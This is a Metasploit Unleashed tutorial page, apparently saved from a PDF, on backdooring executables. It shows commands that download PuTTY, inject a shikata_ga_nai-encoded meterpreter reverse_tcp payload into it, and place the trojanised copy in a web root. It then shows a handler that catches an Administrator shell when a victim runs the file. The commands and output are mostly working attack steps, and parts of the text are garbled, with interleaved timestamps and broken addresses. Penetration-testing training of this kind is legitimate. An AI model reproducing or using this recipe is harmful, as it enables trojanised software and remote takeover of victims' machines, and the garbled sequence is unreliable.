You are on page 1of 2

Backdooring EXE Files - Metasploit Unleashed

Metasploit Unleashed

Mastering the Framework



Backdooring EXE Files
Creating customized backdoored executables often took a long period of time to do manually as attackers. The ability to embed a Metasploit Payload in any executable that you want is simply brilliant. When we say any executable, it means any executable. You want to backdoor something you download from the internet? How about iexplorer? Or explorer.exe or putty, any of these would work. The best part about it is its extremely simple. We begin by first downloading our legitimate executable, in this case, the popular PuTTY client.

root@kali:/var/www# wget --2011-02-05 08:18:56- Resolving Connecting to||:80... connected. HTTP request sent, awaiting response... 302 Found Location: [following] --2011-02-05 08:18:57-- Reusing existing connection to HTTP request sent, awaiting response... 200 OK Length: 454656 (444K) [application/x-msdos-program] Saving to: `putty.exe' 100% [================================================================================== 454,656 138K/s in 3.2s 2011-02-05 08:19:00 (138 KB/s) - `putty.exe' saved [454656/454656] root@kali:/var/www#

Next, we use msfpayload to inject a meterpreter reverse payload into our executable and encoded it 3 times using shikata_ga_nai and save the backdoored file into our web root directory.

root@kali:/var/www# msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT=443 R | msfencode -e x86/shikata_ga_nai -c 3 -t exe -x /var/www/putty.exe -o /var/www/puttyx.exe [*] x86/shikata_ga_nai succeeded with size 317 (iteration=1) [*] x86/shikata_ga_nai succeeded with size 344 (iteration=2) [*] x86/shikata_ga_nai succeeded with size 371 (iteration=3) root@kali:/var/www#

Since we have selected a reverse meterpreter payload, we need to setup the exploit handler to handle the connection back to our attacking machine.[28/03/2014 10:41:36 a.m.][28/03/2014 10:41:36 a.168.Backdooring EXE Files .168.1.Metasploit Unleashed msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192. we are presented with a meterpreter shell on the target.168.101:443 [*] Starting the payload handler. As soon as our victim downloads and executes our special version of PuTTY.1.m.101 msf exploit(handler) > set LPORT 443 LPORT => 443 msf exploit(handler) > exploit [*] Started reverse handler on 192.101 LHOST => 192.101:443 -> 192. http://www. All rights reserved.201:1189) at Sat Feb 05 08:54:25 -0700 2011 meterpreter > getuid Server username: XEN-XP-SPLOIT\Administrator meterpreter > MSF Extended Usage > Backdooring EXE Files PHP Meterpreter | Backdooring EXE Files | Karmetasploit | MSF vs OS X | File-Upload Backdoors | Building A Module Donate » Introduction » Metasploit Fundamentals » Information Gathering » Vulnerability Scanning » Writing A Simple Fuzzer » Exploit Development » Web App Exploit Dev » Client Side Attacks » MSF Post Exploitation » Meterpreter Scripting » Maintaining Access » MSF Extended Usage » Metasploit GUIs About The Authors Post Module Reference Auxiliary Module Reference Copyright © 2014 Offensive Security Ltd.1.168.1. [*] Sending stage (749056 bytes) to 192.1..168.1.] .offensive-security.201 [*] Meterpreter session 1 opened (192.